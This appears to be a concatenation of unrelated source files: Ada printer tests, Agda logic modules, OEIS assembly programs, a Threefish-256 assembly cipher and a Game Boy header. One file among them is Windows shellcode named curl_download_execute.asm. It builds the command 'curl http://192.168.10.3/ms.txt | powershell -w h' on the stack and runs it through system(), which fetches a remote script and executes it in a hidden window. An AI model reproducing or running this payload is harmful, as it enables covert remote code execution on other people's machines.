declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Pr.Set_Parameters (Param);
Output.Set_Expected (To_Atom
("(begin" & Latin_1.LF & Latin_1.CR
& " ""quot\" & Latin_1.LF & Latin_1.CR
& "ed\r" & Latin_1.LF & Latin_1.CR
& "str"")"));
Print (Pr);
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Newline_Formats;
procedure Parameter_Mutators (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Parameter mutators");
Initial : constant Parameters
:= (Width => 0,
Newline_At => (others => (others => False)),
Space_At => (others => (others => False)),
Tab_Stop => 8,
Indentation => 0,
Indent => Spaces,
Quoted => No_Quoted,
Token => No_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Octal_Escape,
Char_Encoding => ASCII,
Fallback => Verbatim,
Newline => LF);
Final : constant Parameters
:= (Width => 79,
Newline_At => (others => (others => True)),
Space_At => (others => (others => True)),
Tab_Stop => 4,
Indentation => 1,
Indent => Tabs,
Quoted => When_Shorter,
Token => Standard_Token,
Hex_Casing => Encodings.Lower,
Quoted_Escape => Hex_Escape,
Char_Encoding => UTF_8,
Fallback => Hexadecimal,
Newline => CR_LF);
begin
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Pr.Set_Parameters (Initial);
Pr.Set_Width (Final.Width);
Pr.Set_Newline_At (Final.Newline_At);
Pr.Set_Space_At (Final.Space_At);
Pr.Set_Tab_Stop (Final.Tab_Stop);
Pr.Set_Indentation (Final.Indentation);
Pr.Set_Indent (Final.Indent);
Pr.Set_Quoted (Final.Quoted);
Pr.Set_Token (Final.Token);
Pr.Set_Hex_Casing (Final.Hex_Casing);
Pr.Set_Quoted_Escape (Final.Quoted_Escape);
Pr.Set_Char_Encoding (Final.Char_Encoding);
Pr.Set_Fallback (Final.Fallback);
Pr.Set_Newline (Final.Newline);
if Pr.Get_Parameters /= Final then
Test.Fail;
end if;
end;
exception
when Error : others => Test.Report_Exception (Error);
end Parameter_Mutators;
procedure Quoted_String_Escapes (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Escapes in quoted string atoms");
Source : constant Atom (0 .. 123) := To_Atom
("Special: " -- indices 0 .. 17
& Latin_1.BS & Latin_1.HT & Latin_1.LF
& Latin_1.VT & Latin_1.FF & Latin_1.CR
& '\' & '"' & Latin_1.NUL
& "UTF-8 sequences: " -- indices 18 .. 62
& "é, −, 🁡, " -- U+00E9, U+2212, U+1F061
& Character'Val (16#F9#) & Character'Val (16#88#)
& Character'Val (16#B4#) & Character'Val (16#95#)
& Character'Val (16#A7#) -- U+1234567
& ", "
& Character'Val (16#FD#) & Character'Val (16#B6#)
& Character'Val (16#95#) & Character'Val (16#83#)
& Character'Val (16#88#) & Character'Val (16#90#) -- U+76543210
& "Invalid UTF-8 sequences: " -- indices 63 .. 117
& Character'Val (16#AA#) & ", "
& Character'Val (16#C3#) & ", "
& Character'Val (16#E2#) & Character'Val (16#88#) & ", "
& Character'Val (16#F0#) & Character'Val (16#9F#)
& Character'Val (16#81#) & ", "
& Character'Val (16#F9#) & Character'Val (16#88#)
& Character'Val (16#B4#) & Character'Val (16#95#) & ", "
& Character'Val (16#FD#) & Character'Val (16#B6#)
& Character'Val (16#95#) & Character'Val (16#83#)
& Character'Val (16#88#) & ", "
& Character'Val (16#FE#) & "."
& Latin_1.CR & Latin_1.LF -- indices 118 .. 119
& "<>" -- indices 120 .. 121
& Latin_1.CR & Latin_1.LF);
Param : Parameters
:= (Width => 0,
Newline_At => (others => (others => False)),
Space_At => (others => (others => False)),
Tab_Stop => 8,
Indentation => 3,
Indent => Spaces,
Quoted => When_Shorter,
Token => No_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => ASCII,
Fallback => Hexadecimal,
Newline => CR_LF);
begin
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
-- Check that the first quoted string encoding is exactly as long as
-- fallback (hexadecimal) encoding, by trying with one less char.
Output.Set_Expected
(Encodings.Hex_Atom_Begin
& Encodings.Encode_Hex
(Source (Source'First + 1 .. Source'Last), Param.Hex_Casing)
& Encodings.Hex_Atom_End);
Pr.Set_Parameters (Param);
Pr.Append_Atom (Source (Source'First + 1 .. Source'Last));
Output.Check_Stream (Test);
end;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom
("""Special: \b\t\n\v\f\r\\\""\x00"
& "UTF-8 sequences: \xC3\xA9, \xE2\x88\x92, \xF0\x9F\x81\xA1, "
& "\xF9\x88\xB4\x95\xA7, \xFD\xB6\x95\x83\x88\x90"
& "Invalid UTF-8 sequences: "
& "\xAA, \xC3, \xE2\x88, \xF0\x9F\x81, \xF9\x88\xB4\x95, "
& "\xFD\xB6\x95\x83\x88, \xFE." & Latin_1.CR & Latin_1.LF
& "<>\r\n"""));
Pr.Set_Parameters (Param);
Pr.Append_Atom (Source);
Output.Check_Stream (Test);
end;
Param.Char_Encoding := Latin;
Param.Hex_Casing := Encodings.Lower;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom
("""Special: \b\t\n\v\f\r\\\""\x00"
& "UTF-8 sequences: "
& Character'Val (16#C3#) & Character'Val (16#A9#)
& ", " & Character'Val (16#E2#) & "\x88\x92, "
& Character'Val (16#F0#) & "\x9f\x81"
& Character'Val (16#A1#) & ", "
& Character'Val (16#F9#) & "\x88"
& Character'Val (16#B4#) & "\x95"
& Character'Val (16#A7#) & ", "
& Character'Val (16#FD#) & Character'Val (16#B6#)
& "\x95\x83\x88\x90"
& "Invalid UTF-8 sequences: "
& Character'Val (16#AA#) & ", "
& Character'Val (16#C3#) & ", "
& Character'Val (16#E2#) & "\x88, "
& Character'Val (16#F0#) & "\x9f\x81, "
& Character'Val (16#F9#) & "\x88"
& Character'Val (16#B4#) & "\x95, "
& Character'Val (16#FD#) & Character'Val (16#B6#)
& "\x95\x83\x88, " & Character'Val (16#FE#) & '.'
& Latin_1.CR & Latin_1.LF
& "<>\r\n"""));
Pr.Set_Parameters (Param);
Pr.Append_Atom (Source);
Output.Check_Stream (Test);
end;
Param.Char_Encoding := UTF_8;
Param.Quoted_Escape := Octal_Escape;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("""Special: \b\t\n\v\f\r\\\""\000")
& Source (18 .. 62)
& To_Atom ("Invalid UTF-8 sequences: "
& "\252, \303, \342\210, \360\237\201, "
& "\371\210\264\225, \375\266\225\203\210, \376."
& Latin_1.CR & Latin_1.LF
& "<>\r\n"""));
Pr.Set_Parameters (Param);
Pr.Append_Atom (Source);
Output.Check_Stream (Test);
end;
Param.Width := 31;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("""Special: \b\t\n\v\f\r\\\""\000"
& '\' & Latin_1.CR & Latin_1.LF)
& Source (18 .. 62)
& To_Atom ('\' & Latin_1.CR & Latin_1.LF
& "Invalid UTF-8 sequences: \252,\" & Latin_1.CR & Latin_1.LF
& " \303, \342\210, \360\237\201,\" & Latin_1.CR & Latin_1.LF
& " \371\210\264\225, \375\266\" & Latin_1.CR & Latin_1.LF
& "\225\203\210, \376."
& Latin_1.CR & Latin_1.LF
& "<>\r\n"""));
Pr.Set_Parameters (Param);
Pr.Append_Atom (Source);
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Quoted_String_Escapes;
procedure Separators (Report : in out NT.Reporter'Class) is
procedure Test_Exp (Pr : in out Stream_Printer);
procedure Test_Exp (Pr : in out Stream_Printer) is
begin
Pr.Append_Atom (To_Atom ("begin"));
Pr.Open_List;
Pr.Open_List;
Pr.Close_List;
Pr.Open_List;
Pr.Append_Atom (To_Atom ("head"));
Pr.Append_Atom (To_Atom ("tail"));
Pr.Close_List;
Pr.Close_List;
Pr.Append_Atom (To_Atom ("end"));
end Test_Exp;
Test : NT.Test := Report.Item ("Separators");
Param : Parameters := Canonical;
begin
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("5:begin(()(4:head4:tail))3:end"));
Pr.Set_Parameters (Param);
Test_Exp (Pr);
Output.Check_Stream (Test);
end;
Param.Space_At := (others => (others => True));
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected
(To_Atom ("5:begin ( ( ) ( 4:head 4:tail ) ) 3:end"));
Pr.Set_Parameters (Param);
Test_Exp (Pr);
Output.Check_Stream (Test);
end;
Param.Newline_At := (others => (others => True));
Param.Newline := LF;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("5:begin" & Latin_1.LF
& '(' & Latin_1.LF
& '(' & Latin_1.LF
& ')' & Latin_1.LF
& '(' & Latin_1.LF
& "4:head" & Latin_1.LF
& "4:tail" & Latin_1.LF
& ')' & Latin_1.LF
& ')' & Latin_1.LF
& "3:end"));
Pr.Set_Parameters (Param);
Test_Exp (Pr);
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Separators;
procedure Tabulation_Width (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Width of tabulations");
procedure Fill (P : in out Stream_Printer; Times : in Natural);
X : constant Atom := To_Atom ("x");
procedure Fill (P : in out Stream_Printer; Times : in Natural) is
begin
for I in 1 .. Times loop
P.Append_Atom (X);
end loop;
end Fill;
Tab : constant Character := Latin_1.HT;
NL : constant Character := Latin_1.LF;
Param : constant Parameters
:= (Width => 20,
Newline_At => (others => (others => False)),
Space_At =>
(Atom_Data => (Opening => True, others => False),
others => (others => False)),
Tab_Stop => 5,
Indentation => 3,
Indent => Tabs_And_Spaces,
Quoted => Single_Line,
Token => Standard_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => UTF_8,
Fallback => Verbatim,
Newline => LF);
begin
declare
Output : aliased Test_Tools.Memory_Stream;
P : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom -- 1234-6789-1234-6789-
("(first-level x x x x" & NL -- (first-level x x x x
& " x (second-level x" & NL -- ...x (second-level x
& Tab & " x x x x x x x" & NL -- >----.x x x x x x x
& Tab & " x x (third x x" & NL -- >----.x x (third x x
& Tab & " x (fourth x" & NL -- >----....x (fourth x
& Tab & Tab & " x x (x x" & NL -- >---->----..x x (x x
& Tab & Tab & Tab & "x)x x" & NL -- >---->---->----x)x x
& Tab & Tab & " x))x x x" & NL -- >---->----..x))x x x
& Tab & " x))")); -- >----.x))
P.Set_Parameters (Param);
P.Open_List;
P.Append_Atom (To_Atom ("first-level"));
Fill (P, 5);
P.Open_List;
P.Append_Atom (To_Atom ("second-level"));
Fill (P, 10);
P.Open_List;
P.Append_Atom (To_Atom ("third"));
Fill (P, 3);
P.Open_List;
P.Append_Atom (To_Atom ("fourth"));
Fill (P, 3);
P.Open_List;
Fill (P, 3);
P.Close_List;
Fill (P, 3);
P.Close_List;
P.Close_List;
Fill (P, 4);
P.Close_List;
P.Close_List;
Output.Check_Stream (Test);
end;
declare
Output : aliased Test_Tools.Memory_Stream;
P : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom -- 1234-6789-1234-6789-
("(first-level x x x x" & NL -- (first-level x x x x
& Tab & "x x x x x x x x" & NL -- >----x x x x x x x x
& Tab & "x x (second x x" & NL -- >----x x (second x x
& Tab & Tab & "x x x x x" & NL -- >---->----x x x x x
& Tab & Tab & "x x))")); -- >---->----x x))
P.Set_Parameters (Param);
P.Set_Indent (Tabs);
P.Set_Indentation (1);
P.Open_List;
P.Append_Atom (To_Atom ("first-level"));
Fill (P, 14);
P.Open_List;
P.Append_Atom (To_Atom ("second"));
Fill (P, 9);
P.Close_List;
P.Close_List;
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Tabulation_Width;
procedure Token_Separation (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Token separation");
Token : constant Atom := To_Atom ("token");
begin
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom
("(begin(token ""quoted\n""token token #4865780A#token "
& "|QmFzZS02NAo=|token)end)"));
Pr.Set_Parameters
((Width => 0,
Newline_At => (others => (others => False)),
Space_At => (others => (others => False)),
Tab_Stop => 8,
Indentation => 0,
Indent => Spaces,
Quoted => When_Shorter,
Token => Standard_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => ASCII,
Fallback => Hexadecimal,
Newline => LF));
Pr.Open_List;
Pr.Append_Atom (To_Atom ("begin"));
Pr.Open_List;
Pr.Append_Atom (Token);
Pr.Append_Atom (To_Atom ("quoted" & Latin_1.LF));
Pr.Append_Atom (Token);
Pr.Append_Atom (Token);
Pr.Set_Quoted (No_Quoted);
Pr.Append_Atom (To_Atom ("Hex" & Latin_1.LF));
Pr.Append_Atom (Token);
Pr.Set_Fallback (Base64);
Pr.Append_Atom (To_Atom ("Base-64" & Latin_1.LF));
Pr.Append_Atom (Token);
Pr.Close_List;
Pr.Append_Atom (To_Atom ("end"));
Pr.Close_List;
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Token_Separation;
end Natools.S_Expressions.Printers.Pretty.Tests;
|
src/fot/FOL/Base.agda | asr/fotc | 11 | 1554 | ------------------------------------------------------------------------------
-- First-order logic base
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOL.Base where
infix 2 ⋀
infixr 1 _⇒_
infixr 0 _⇔_
------------------------------------------------------------------------------
-- First-order logic (without equality).
open import Common.FOL.FOL public
------------------------------------------------------------------------------
-- We added extra symbols for the implication, the biconditional and
-- the universal quantification (see module Common.FOL.FOL).
-- The implication data type.
data _⇒_ (A B : Set) : Set where
fun : (A → B) → A ⇒ B
app : {A B : Set} → A ⇒ B → A → B
app (fun f) a = f a
-- Biconditional.
_⇔_ : Set → Set → Set
A ⇔ B = (A ⇒ B) ∧ (B ⇒ A)
-- The universal quantifier type on D.
data ⋀ (A : D → Set) : Set where
dfun : ((t : D) → A t) → ⋀ A
-- Sugar syntax for the universal quantifier.
syntax ⋀ (λ x → e) = ⋀[ x ] e
dapp : {A : D → Set}(t : D) → ⋀ A → A t
dapp t (dfun f) = f t
------------------------------------------------------------------------------
-- In first-order logic it is assumed that the universe of discourse
-- is non-empty.
postulate D≢∅ : D
------------------------------------------------------------------------------
-- The ATPs work in classical logic, therefore we add the principle of
-- the exclude middle for prove some non-intuitionistic theorems. Note
-- that we do not need to add the postulate as an ATP axiom.
-- The principle of the excluded middle.
postulate pem : ∀ {A} → A ∨ ¬ A
|
programs/oeis/079/A079295.asm | neoneye/loda | 22 | 9101 | ; A079295: (D(p)-6)/(12p) where D(p) denotes the denominator of the 2p-th Bernoulli number and p runs through the primes.
; 1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0
mov $2,$0
seq $0,6093 ; a(n) = prime(n) - 1.
seq $0,195508 ; Number of iterations in a Draim factorization of 2n+1.
sub $0,$2
mov $1,$0
max $0,0
cmp $0,$1
|
programs/oeis/012/A012864.asm | neoneye/loda | 22 | 166067 | ; A012864: Take every 5th term of Padovan sequence A000931, beginning with the first term.
; 1,1,3,12,49,200,816,3329,13581,55405,226030,922111,3761840,15346786,62608681,255418101,1042002567,4250949112,17342153393,70748973084,288627200960,1177482265857,4803651498529,19596955630177,79947654422626,326154101090951,1330576843394428,5428215467030962,22144924062668049,90342335288610825,368560195659412891,1503576561205289204,6133984358677405281,25024175744225282480,102088517847622080480,416479870619886677761,1699069457453170349365,6931516322633927116261,28277783653976840861606,115361922436801666192351,470629993890734894631592,1919980063360444649250162,7832742263676085333916793,31954421058829382967214909,130361116302803018149657535,531820639542373644213344832,2169613153559485531435308929,8851144325930736098472822852,36109089654958112010836223376,147310484124627101191725134401,600967206329233794013753601353,2451703184802618677312703692537,10001957582820785311700229191674,40803942381222685643264084789575,166463584759632905646832210873716,679104111856094570972804944401954,2770470162623163917919959963304481,11302397950451074211355412249788305,46109213213618809956070026340125555,188106944428912916852848442664779036,767400267240540418651317520213181265
mov $1,1
lpb $0
sub $0,1
add $3,$1
sub $1,1
add $2,$1
add $2,$3
add $1,$2
lpe
mov $0,$1
|
applet/aide/source/editors/aide-editor.ads | charlie5/aIDE | 3 | 17452 | <gh_stars>1-10
with
-- AdaM.Source,
AdaM.Entity,
gtk.Widget;
package aIDE.Editor
is
type Item is abstract tagged private;
type View is access all Item'Class;
-- function to_Editor (Target : in AdaM.Source.Entity_view) return Editor.view;
function to_Editor (Target : in AdaM.Entity.view) return Editor.view;
function top_Widget (Self : in Item) return gtk.Widget.Gtk_Widget;
procedure freshen (Self : in out Item) is null;
private
type Item is abstract tagged
record
null;
end record;
end aIDE.Editor;
|
src/Magma/Bundles.agda | Akshobhya1234/agda-NonAssociativeAlgebra | 2 | 6970 | <gh_stars>1-10
{-# OPTIONS --without-K --safe #-}
module Magma.Bundles where
open import Algebra.Bundles
open import Algebra.Core
open import Magma.Structures
open import Relation.Binary
open import Level
record IdempotentMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
isIdempotentMagma : IsIdempotentMagma _≈_ _∙_
open IsIdempotentMagma isIdempotentMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
record AlternateMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
isAlternateMagma : IsAlternateMagma _≈_ _∙_
open IsAlternateMagma isAlternateMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
record FlexibleMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
isFlexibleMagma : IsFlexibleMagma _≈_ _∙_
open IsFlexibleMagma isFlexibleMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
record MedialMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
isMedialMagma : IsMedialMagma _≈_ _∙_
open IsMedialMagma isMedialMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
record SemimedialMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
isSemimedialMagma : IsSemimedialMagma _≈_ _∙_
open IsSemimedialMagma isSemimedialMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
record LeftUnitalMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
ε : Carrier
isLeftUnitalMagma : IsLeftUnitalMagma _≈_ _∙_ ε
open IsLeftUnitalMagma isLeftUnitalMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
record RightUnitalMagma c ℓ : Set (suc (c ⊔ ℓ)) where
infixl 7 _∙_
infix 4 _≈_
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_∙_ : Op₂ Carrier
ε : Carrier
isRightUnitalMagma : IsRightUnitalMagma _≈_ _∙_ ε
open IsRightUnitalMagma isRightUnitalMagma public
magma : Magma c ℓ
magma = record { isMagma = isMagma }
open Magma magma public
using (rawMagma)
|
test/asset/agda-stdlib-1.0/Relation/Binary/Construct/Union.agda | omega12345/agda-mode | 0 | 2905 | <filename>test/asset/agda-stdlib-1.0/Relation/Binary/Construct/Union.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Union of two binary relations
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Relation.Binary.Construct.Union where
open import Data.Product
open import Data.Sum
open import Function using (_∘_)
open import Level using (_⊔_)
open import Relation.Binary
open import Relation.Nullary using (yes; no)
------------------------------------------------------------------------
-- Definition
_∪_ : ∀ {a b ℓ₁ ℓ₂} {A : Set a} {B : Set b} →
REL A B ℓ₁ → REL A B ℓ₂ → REL A B (ℓ₁ ⊔ ℓ₂)
L ∪ R = λ i j → L i j ⊎ R i j
------------------------------------------------------------------------
-- Properties
module _ {a ℓ} {A : Set a} (L : Rel A ℓ) (R : Rel A ℓ) where
reflexive : Reflexive L ⊎ Reflexive R → Reflexive (L ∪ R)
reflexive (inj₁ L-refl) = inj₁ L-refl
reflexive (inj₂ R-refl) = inj₂ R-refl
total : Total L ⊎ Total R → Total (L ∪ R)
total (inj₁ L-total) x y = [ inj₁ ∘ inj₁ , inj₂ ∘ inj₁ ] (L-total x y)
total (inj₂ R-total) x y = [ inj₁ ∘ inj₂ , inj₂ ∘ inj₂ ] (R-total x y)
min : ∀ {⊤} → Minimum L ⊤ ⊎ Minimum R ⊤ → Minimum (L ∪ R) ⊤
min = [ inj₁ ∘_ , inj₂ ∘_ ]
max : ∀ {⊥} → Maximum L ⊥ ⊎ Maximum R ⊥ → Maximum (L ∪ R) ⊥
max = [ inj₁ ∘_ , inj₂ ∘_ ]
module _ {a ℓ} {A : Set a} {L : Rel A ℓ} {R : Rel A ℓ} where
symmetric : Symmetric L → Symmetric R → Symmetric (L ∪ R)
symmetric L-sym R-sym = [ inj₁ ∘ L-sym , inj₂ ∘ R-sym ]
respects : ∀ {p} {P : A → Set p} →
P Respects L → P Respects R → P Respects (L ∪ R)
respects resp-L resp-R = [ resp-L , resp-R ]
module _ {a b ℓ₁ ℓ₂ ℓ₃} {A : Set a} {B : Set b}
(≈ : REL A B ℓ₁) (L : REL A B ℓ₂) (R : REL A B ℓ₃) where
implies : (≈ ⇒ L) ⊎ (≈ ⇒ R) → ≈ ⇒ (L ∪ R)
implies = [ inj₁ ∘_ , inj₂ ∘_ ]
irreflexive : Irreflexive ≈ L → Irreflexive ≈ R → Irreflexive ≈ (L ∪ R)
irreflexive L-irrefl R-irrefl x≈y = [ L-irrefl x≈y , R-irrefl x≈y ]
module _ {a b ℓ₁ ℓ₂} {A : Set a} {B : Set b} {L : REL A B ℓ₁} {R : REL A B ℓ₂} where
decidable : Decidable L → Decidable R → Decidable (L ∪ R)
decidable L? R? x y with L? x y | R? x y
... | yes Lxy | _ = yes (inj₁ Lxy)
... | no _ | yes Rxy = yes (inj₂ Rxy)
... | no ¬Lxy | no ¬Rxy = no [ ¬Lxy , ¬Rxy ]
|
src/darwin/amd64/threefish256.asm | TomCrypto/Ordo | 1 | 170820 | <gh_stars>1-10
;/===-- threefish256.asm ------------------*- shared/unix/amd64 -*- ASM -*-===*/
; Threefish-256 implementation for AMD64
;/===----------------------------------------------------------------------===*/
BITS 64
global _threefish256_forward_ASM
global _threefish256_inverse_ASM
section .text
_threefish256_forward_ASM:
xor RAX, RAX
mov R8, [RDI + 0x00]
mov R9, [RDI + 0x08]
mov R10, [RDI + 0x10]
mov R11, [RDI + 0x18]
add R8, [RSI + 0x00]
add R9, [RSI + 0x08]
add R10, [RSI + 0x10]
add R11, [RSI + 0x18]
.loopf:
add R8, R9
rol R9, 14
xor R9, R8
add R10, R11
rol R11, 16
xor R11, R10
add R8, R11
rol R11, 52
xor R11, R8
add R10, R9
rol R9, 57
xor R9, R10
add R8, R9
rol R9, 23
xor R9, R8
add R10, R11
rol R11, 40
xor R11, R10
add R8, R11
rol R11, 5
xor R11, R8
add R10, R9
rol R9, 37
xor R9, R10
add R8, [RSI + 0x20 + 0x00]
add R9, [RSI + 0x20 + 0x08]
add R10, [RSI + 0x20 + 0x10]
add R11, [RSI + 0x20 + 0x18]
add R8, R9
rol R9, 25
xor R9, R8
add R10, R11
rol R11, 33
xor R11, R10
add R8, R11
rol R11, 46
xor R11, R8
add R10, R9
rol R9, 12
xor R9, R10
add R8, R9
rol R9, 58
xor R9, R8
add R10, R11
rol R11, 22
xor R11, R10
add R8, R11
rol R11, 32
xor R11, R8
add R10, R9
rol R9, 32
xor R9, R10
add R8, [RSI + 0x40 + 0x00]
add R9, [RSI + 0x40 + 0x08]
add R10, [RSI + 0x40 + 0x10]
add R11, [RSI + 0x40 + 0x18]
add RSI, 0x40
inc RAX
cmp RAX, 9
jne .loopf
mov [RDI + 0x00], R8
mov [RDI + 0x08], R9
mov [RDI + 0x10], R10
mov [RDI + 0x18], R11
ret
_threefish256_inverse_ASM:
xor RAX, RAX
add RSI, 0x240
mov R8, [RDI + 0x00]
mov R9, [RDI + 0x08]
mov R10, [RDI + 0x10]
mov R11, [RDI + 0x18]
.loopi:
sub R8, [RSI + 0x00]
sub R9, [RSI + 0x08]
sub R10, [RSI + 0x10]
sub R11, [RSI + 0x18]
xor R11, R8
ror R11, 32
sub R8, R11
xor R9, R10
ror R9, 32
sub R10, R9
xor R9, R8
ror R9, 58
sub R8, R9
xor R11, R10
ror R11, 22
sub R10, R11
xor R11, R8
ror R11, 46
sub R8, R11
xor R9, R10
ror R9, 12
sub R10, R9
xor R9, R8
ror R9, 25
sub R8, R9
xor R11, R10
ror R11, 33
sub R10, R11
sub R8, [RSI - 0x20 + 0x00]
sub R9, [RSI - 0x20 + 0x08]
sub R10, [RSI - 0x20 + 0x10]
sub R11, [RSI - 0x20 + 0x18]
xor R11, R8
ror R11, 5
sub R8, R11
xor R9, R10
ror R9, 37
sub R10, R9
xor R9, R8
ror R9, 23
sub R8, R9
xor R11, R10
ror R11, 40
sub R10, R11
xor R11, R8
ror R11, 52
sub R8, R11
xor R9, R10
ror R9, 57
sub R10, R9
xor R9, R8
ror R9, 14
sub R8, R9
xor R11, R10
ror R11, 16
sub R10, R11
sub RSI, 0x40
inc RAX
cmp RAX, 9
jne .loopi
sub R8, [RSI + 0x00]
sub R9, [RSI + 0x08]
sub R10, [RSI + 0x10]
sub R11, [RSI + 0x18]
mov [RDI + 0x00], R8
mov [RDI + 0x08], R9
mov [RDI + 0x10], R10
mov [RDI + 0x18], R11
ret
|
Curl/curl_download_execute.asm | kartikdurg/Shellcode-Windows | 3 | 160201 | <gh_stars>1-10
xor eax, eax ;Get the msvcrt.dll
mov ax, 0x7472 ;"tr\0\0"
push eax
push dword 0x6376736d ;"cvsm"
push esp
; LoadLibrary
mov ebx, 0x76322990 ;Address of function LoadLibraryA (win10)
call ebx
mov ebp, eax ;msvcrt.dll is saved in ebp
xor eax, eax ;zero out EAX
PUSH eax ;NULL at the end of string
PUSH 0x6820772d ;push string "h w-"
PUSH 0x206c6c65 ;push string " lle"
PUSH 0x68737265 ;push string "hsre"
PUSH 0x776f707c ;push string "wop|"
PUSH 0x7478742e ;push string "txt."
PUSH 0x736d2f33 ;push string "sm/3"
PUSH 0x30312e30 ;push string "01.0"
PUSH 0x2e383631 ;push string ".861"
PUSH 0x2e323931 ;push string ".291"
PUSH 0x2f2f3a70 ;push string "//:p"
PUSH 0x74746820 ;push string "tth "
PUSH 0x6c727563 ;push string "lruc"
MOV EDI,ESP ;adding a pointer to the stack
PUSH EDI
MOV EAX,0x75ec3dc0 ;calling the system()(win10)
CALL EAX
xor eax, eax
push eax
mov eax, 0x763258f0 ; ExitProcess (win10)
call eax
|
writeups/flag3/src/header.asm | zer0x64/nsec2022-gband | 0 | 80097 | SECTION "Header", ROM0[$100]
; This is your ROM's entry point
; You have 4 bytes of code to do... something
di
jp EntryPoint
; Make sure to allocate some space for the header, so no important
; code gets put there and later overwritten by RGBFIX.
; RGBFIX is designed to operate over a zero-filled header, so make
; sure to put zeros regardless of the padding value. (This feature
; was introduced in RGBDS 0.4.0, but the -MG etc flags were also
; introduced in that version.)
ds $150 - @, 0
|
list1/task2/src/main.adb | luk9400/nsi | 0 | 10450 | <gh_stars>0
with Poly; use Poly;
with Ada.Text_IO;
procedure Main is
Arr: Vector (0 .. 1) := (7, 4);
X: Integer;
begin
X := 2;
Ada.Text_IO.Put_Line ("Value of poly: " & Horner(X, Arr)'Image);
end Main;
|
programs/oeis/024/A024711.asm | neoneye/loda | 22 | 176857 | <reponame>neoneye/loda
; A024711: a(n) = residue mod 2 of n-th term of A024702.
; 1,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,0,1,1,1,1
add $0,1
